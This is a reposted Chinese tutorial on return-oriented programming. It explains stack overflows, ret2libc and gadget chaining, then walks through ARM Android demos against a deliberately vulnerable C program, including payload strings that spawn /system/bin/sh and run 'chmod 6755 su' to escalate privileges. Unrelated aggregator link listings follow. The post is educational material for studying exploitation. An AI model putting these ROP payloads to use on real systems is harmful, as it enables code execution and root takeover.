引言
       ROP(Return-oriented programming),即“返回导向编程技术”。其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回堆栈把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是内存中合法的的代码,普通的杀毒引擎对ROP攻击是无计可施的。

栈溢出漏洞及栈溢出攻击
          在介绍ROP技术原理前,需要先介绍一下栈溢出漏洞。
          栈溢出(stack-based buffer overflows)算是安全界常见的漏洞。一方面因为程序员的疏忽,使用了 strcpy、sprintf 等不安全的函数,增加了栈溢出漏洞的可能。另一方面,因为栈上保存了函数的返回地址等信息,因此如果攻击者能任意覆盖栈上的数据,通常情况下就意味着他能修改程序的执行流程,从而造成更大的破坏。这种攻击方法就是栈溢出攻击(stack smashing attacks)
         栈溢出攻击的原因是由于程序中缺少错误检测,另外对缓冲区的潜在操作(比如字符串的复制)都是从内存低址到高址,而函数调用的返回地址往往就在缓冲区的上方(当前栈底),这为我们覆盖返回地址提供了条件。下面是stack smashing attacks示意图

下面是一个存在栈溢出的DEMO:

 #include <stdio.h>
           #include <string.h>

           int bof(FILE *badfile){
            char buffer[20];
            fread(buffer, sizeof(char), 100, badfile); 
            return 1; 
          }

          int main(){
            FILE *badfile;
            badfile = fopen("badfile", "r");
            bof(badfile);

            printf("Returned Properly\n");
            fclose(badfile);
            return 0;
         }

DEMO的逻辑很简单,就是从badfile文件中读取最长100字节的数据,然而buffer的长度只有20字节,所以这里是有可能发现栈溢出的。

下面是在cygwin的环境下编译出来的汇编代码(我已经把一些对逻辑理解无关的细节去掉):

_main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $32, %esp
call ___main
movl $LC0, 4(%esp)
movl $LC1, (%esp)
call _fopen
movl %eax, 28(%esp)
movl 28(%esp), %eax
movl %eax, (%esp)
call _bof
movl $LC2, (%esp)
call _puts
movl 28(%esp), %eax
movl %eax, (%esp)
call _fclose
movl $0, %eax
leave
ret

_bof:
pushl %ebp
movl %esp, %ebp
subl $56, %esp
movl 8(%ebp), %eax
movl %eax, 12(%esp)
movl $100, 8(%esp)
movl $1, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call _fread
movl $1, %eax
leave
ret

我们只关注从main进入bof以及bof执行完毕后返回main这个过程。

  • 在调用从call __fopen开始看,在进入__bof前,badfile地址已经入栈。
  • call _bof语句的作用则是把下一条指令(movl $LC2, (%esp))入栈,也就是_bof执行完毕后的返回地址
  • 在进入_bof后,第一时间把ebp入栈,ebp是当前栈底,用于恢复esp的。

整个堆栈的内存布局如下所示:

从分布图可以看到,系统实际分配给buffer的长度是28字节,接下来就是旧的栈底地址,bof返回地址和badfile地址。因此当badfile的内容长度是低于28字节的情况下,程序依然可以正常运行。但当badfile的内容长度超出28字节,就会直接把old EBP和ret address覆盖掉,这就达到了修改返回地址的目的了。

ROP的前世今生
      前面大家对stack smashing attacks有了一个感性的认知之后,接下来我们再来了解一下ROP技术的发展过程。

stack smashing attacks
      这种攻击手段,是最早栈溢出攻击的方式,前面已经做了详细的分析了。
      stack smashing attacks并不是无敌的,其对抗技术就是DEP(Data Execution Prevention )ASLR(Address Space Layout Radomization),通过这两种技术的保护下Stack smashing attacks一定程度上揭制。

Return-to-library technique
      简称“Ret2Lib”,这种技术可以绕过DEP的保护,其核心思想是把返回地址直接指向系统某个已存在的函数(一般是system,因为其使用简单,参数只有一个),这样同样可以达到攻击的目的。再来看刚才的例子,如果在badfile构造一些数据,使其被bof函数读取后,达到如下堆栈分布:

这样当程序执行完bof后,马上就跳转到system函数了,然后去获取其第一个函数,即&"/bin/sh",这样就让程序直接跑起了一个sh进程了。试想一下,如果这个程序是一个具备suid的程序,那就意味着我们轻易就获得了root权限了。

      Borrowed Code Chunks
     "Ret2Lib"一直工作得很好,直接x64体系的出现。x64相比于x86,最后的区别是函数参数的传递不再完全依赖堆栈,其规定函数的第一个参数必须保存到第一个寄存器即EAX,这导致单纯的把参数地址放在堆栈并不能很好的工作,除非函数本身不需要参数。因此,在这种情况下,Borrowed Code Chunks技术就诞生了。这种技术是Ret2Lib技术的一个思维突破,它不再单纯把返回地址指向整个函数入口,而且还包括函数中任意的指令片断。还是回到刚才的DEMO,如果要实现先把&"/bin/sh"的地址赋值给EAX,那么我们可以尝试寻找下列指令:

POP %EAX
ret
或者
POP %EAX
POP %EBX
JMP %EBX
等等

假如我们找到前者的指令,这样我们在badfile写入如下数据:[POP_address][&/bin/sh][system_address][fake_ebp][fake_retaddress],同样可以达到攻击目标。

       Retrun-Oriented-Programming
       Borrowed Code Chunk最终还是需要依赖现有的链接库函数,如果链接库本身没有提供适合的函数的情况下,Borrowed Code Chunk就无计可施,这时ROP技术就应运而生了。 ROP的指导思想就是希望所有的恶意攻击都通过现存函数的指令片断串连而成。这种指令片断通过跳转指令(x86上是RET和JMP, ARM上是pc的相关指令)可以相互连接的逻辑片断,称为gadget。ROP攻击最终的体现就是一串gadgets。
       ROP的强大之处在于,只要找到一个溢出缺陷,并且堆栈空间足够大,就可以实现任何逻辑,而且ROP攻击一直是各大病毒扫描引擎的难题。

ROP在ARM上的可行性
      由于x86(x64)跟ARM的PCS规范不同,而且指令格式也不一致,但ROP的思想同样可以作用于ARM平台两者的指令对比:

     寄存器作用也不尽相同

r15即pc,是程序计数器,相对于x86上的EIP
     r14即lr,连接寄存器,相对于x86上没有对应
     r13即sp,堆栈寄存器,相对于x86上的ESP
     r11(r7)即fp, 栈底寄存器,相对于x86上的EBP
     r4 – r10, r12,作为局部变量使用
     r0 – r3,保存参数的前三个参数,如果存在四个参数,则放入堆栈,这个是跟x86最大的区别
     r0保存函数的返回值, 跟x86上保存在EAX一致
     ARM里pc可以直接修改,这在一定程度上为ROP攻击提供便利

android上实施ROP攻击
     目前市面上大部android手机都是基于ARM平台的,因此理论上在android上实现ROP攻击是可行的,但也需要注意到,android上的libc是bionic libc,而不是普遍使用glibc,google对其提高了其安全性,把大部分涉及r0的指令都优化掉了,这就大大提高了ROP攻击的难度。

攻击演示
      前面说了一大堆理论,下面我们开始做一些演示。

所使用的工具如下:
              arm-linux-androideabi(android上的交叉编译器)
              IDA 6.1(用于远程调试android )
              python环境(用于的生成shellcode)
              addp (用于快速查找系统函数地址)
              addsp(用于快速验证libc.so中的字符串地址是否正确)

DEMO1,修改bof返回地址
       我们先以一个简单的DEMO开始,还是前面提及的漏洞DEMO,我们先看看其在ARM下的编码

其中0x83c4是bof调用后要执行的指令,而是0x83ce则是我们跳转的地址。下面是bof的代码

通过代码,我们可以得到其栈的内存分布图,发下所示:

从图可以看到,系统给buffer分析的长度正是好20字节,我们先记录下当前old R7的值,在我的手机上为0xBEFFFA70,而我们需要修改的是LR的值,要改为0x000083CE。因此我们构造如下shellcode:
'A' * 20 + '\x70\xFA\xFF\xBE' + '\xCF\x83\x00\x00'  (PS:ARM上是使用LE存储)
       另外有一点需要注意,由于在ARM上存在ARM(32位)和Thumb(16位)两种指令格式,系统是通过目标地址的bit[0]作为判断依据的,如果bit[0]为1,则自动转为thumb模式执行,否则则以ARM方式执行。我们的DEMO是以thumb方式编译的,因此最终跳转的地址应该是0x000083CF。

DEMO2,执行system("/system/bin/sh")
        再来一个难度高一点。要实现这个DEMO,我们需要先寻找libc.so的基地址,在我手机上,libc.so的基地址是0x40025000,有了基地址,我们就计算出如下地址:

ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
        /system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F

另外,我们需要寻找适合的gadget来完成对r0的赋值,最后我找到mallinfo函数的片断,可以满足这个要求,见mallinfo的指令:

见0x16F72和0x16F70两条指令,我们可以先跳到0x16F72,把“/system/bin/sh”的地址赋值给r4,接着控制pc,跳转至0x16F70,这样就间接把“/system/bin/sh”赋值给r0了。然后再把pc指向system即可。

列一下我们所关注的地址:

baseaddr: 0x40025000
       mallinfo: 0x00016F68 + 0x40025000 = 0x4003BF68
       ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
       &/system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F
       MOVS R0, R4 : 0x00016F70 + 0x40025000 = 0x4003BF70
       POP {R4, PC}: 0x00016F72 + 0x40025000 = 0x4003BF72

最后我们构造的shellcode如下:
       'A' * 24 + '\x73\xBF\x03\x40' + '\x7F\xFA\x05\x40' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'

DEMO3,执行任意脚本
       DEMO2只可以执行"/system/bin/sh",但往往这并不能被利用,因为我们无法跟目标进程通讯,我们往往更希望是直接让root目标进程运行提权脚本。因此在这个demo里,我们实现执行任意的脚本。
       我们以“chmod 6755 su”作为试验

首先想到的就是希望把脚本写到buffer里,然后在DEMO2的基础上,把r0的值指向buffer的地址。但实际发现这并不可行,因为system函数本身也需要申请栈空间,见如下代码所示:

system本身是需要申请32字节的栈空间,如果用DEMO2的方式的话,写入buffer的脚本就有可能会被覆盖,示意图如下所示:

这造成buffer最终只能存在7字节长度的脚本,这显然非常不好。因此我们需要另想办法,让sp往hight端递增,寻找类似如下的指令:

add sp, sp, #N
                             pop {r7, pc}
       这种指令可以说到处都是,看到bof最后的指令:

我们先把pc指向ADD SP, SP, #0x20,就可以让SP往前挪32个字节,正好可以抵消掉system的32字节,示意图如下:

再来看一下我们所关注的地址们:

baseaddr: 0x40025000
         R0: 0xBEFFFA54
         ADD SP, SP, #0x20 : 0x0000839A
         POP {R7, PC}:  0x0000839C

最后我们构造出如下shellcode:
       'chmod 6755 su' + '\x00' * 11 + '\x9B\x83\x00\x00' + 'A' * 32 + 'A' * 4 + '\x73\xBF\x03\x40' + '\x54\xFA\xFF\xBE' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'

为了更好解释整个逻辑跳转,下面附上gadgets链示意图:

最后

  • 通过上面几个DEMO,大家应该可以感受到ROP的强大
  • Android未来的病毒的发展趋势,必然越来越高级,越来越偏向底层
  • 对抗ROP攻击一直是安全界的难题,关于如何对抗ROP也有很多相关的课题
  • 尽量少用strcpy, gets等没有长度检查的函数

分享中涉及的所有代码和所使用的工具都可以向我索取

相关参考

    • 《Return-to-libc Attack Lab》——Wenliang Du, Syracuse University
    • 《ARM嵌入式系统结构与编程》—— 邱铁
    • 《缓冲区溢出》——程绍银
    • 《Exploitation on ARM》 —— STRI/Advance Technology Lab/Security
    • 《ARM EXPLOITATION ROPMAP》——Long Le

【转】针对Android上的ROP攻击剖析的更多相关文章

  1. 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击

    通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...

  2. Android 上多方式定位元素(python)

    Android 上多方式定位元素(python) 在学习实际UI自动化测试的时候,首先就需要定位元素,然而定位元素也是最头疼的地方,因为元素各种控件名称的缺失会影响元素的准确定位.下面针对Androi ...

  3. Android Intent Scheme URLs攻击

    0x0 引言 我们知道,在Android上的Intent-based攻击非常普遍.这样的攻击轻则导致应用程序崩溃.重则可能演变提权漏洞.当然,通过静态特征匹配,Intent-Based的恶意样本还是非 ...

  4. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  5. 20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击

    20145236<网络对抗>进阶实验--64位Ubuntu 17.10.1 ROP攻击 基础知识 ROP攻击 ROP全称为Retrun-oriented Programmming(面向返回 ...

  6. 使用ROP攻击绕过Windows的DEP

    使用ROP攻击绕过Windows的DEP 基础知识 DEP DEP(Data Execution Prevention)意为数据执行保护,是Windows的一项安全机制,主要能够在内存上执行额外检查以 ...

  7. [翻译]现代Linux系统上的栈溢出攻击【转】

    转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E ...

  8. [webkit移动开发笔记]之如何去除android上a标签产生的边框(转)

    转载地址:http://www.cnblogs.com/PeunZhang/archive/2013/02/28/2907708.html 去年年底,做完最后一个项目就可以开开心心回家,可是在测试阶段 ...

  9. [webkit移动开发笔记]之如何去除android上a标签产生的边框

    去年年底,做完最后一个项目就可以开开心心回家,可是在测试阶段,发现了不少bug,为了不影响回家时间,加班加点也要解决这些问题,这里算是工作回忆,也算是工作的一点小总结. 在ios4+和android2 ...

随机推荐

  1. QC的使用学习(三)

    一.需求转换测试 1.自动转换方法: (1)将最底层的子需求转换成设计步骤:即将最底层的子要求转换成测试用例的步骤. (2)将最底层的子要求转换成测试:即将最底层的要求转换成单个测试用例(建议使用) ...

  2. 第二篇 Postman的高阶使用之配置全局变量及局部变量的调用及设置方法(手动方法)

    第五篇主要写了关于postman的基本使用,重点是如果发送json请求,为什么要将发送json请求呢, 一是目前大多数的请求已经倾向于发送json格式,二是本人太懒了,不想一个字段一个字段的添加到参数 ...

  3. PL/SQL查看表结构

    SET LONG 99999;SET LINESIZE 140 PAGESIZE 1000;SELECT DBMS_METADATA.GET_DDL('&OBJECT_TYPE','& ...

  4. LeetCode 29——两数相除

    1. 题目 2. 解答 2.1. 方法一 题目要求不能使用乘法.除法和除余运算,但我们可以将除法转移到对数域. \[ \frac{a}{b} = e^{\frac{lna}{lnb}} = e^{ln ...

  5. Python杂篇

    一:文件保存 def save_to_file(file_name, contents): fh = open(file_name, 'w') fh.write(contents) fh.close( ...

  6. python json模块 超级详解

    JSON(JavaScript Object Notation, JS 对象标记) 是一种轻量级的数据交换格式.JSON的数据格式其实就是python里面的字典格式,里面可以包含方括号括起来的数组,也 ...

  7. c语言第五次作业-指针-总结博客

    本次作业亮点 1.1整体情况 本次作业主要是对上次的大作业利用指针进行改进,但是大部分同学并没有很好按照老师的要求对大作业进行改进,函数的分装性也做得不够好,由于是初步学习指针,大家在本次的作业改造中 ...

  8. HDFS集群和YARN集群

    Hadoop集群环境搭建(一)   1集群简介 HADOOP集群具体来说包含两个集群:HDFS集群和YARN集群,两者逻辑上分离,但物理上常在一起 HDFS集群: 负责海量数据的存储,集群中的角色主要 ...

  9. Socket常见错误代码与描述

    最近程序 出现 几次 Socket 错误, 为了便于 差错.. 搜了一些 贴在这里.. 出现网络联机错误Socket error #11001表示您的计算机无法连上服务器,请检查您的Proxy设定以及 ...

  10. Problem Collection I 位运算

    XOR ARC 092B CF 959E xor-MST CF 959F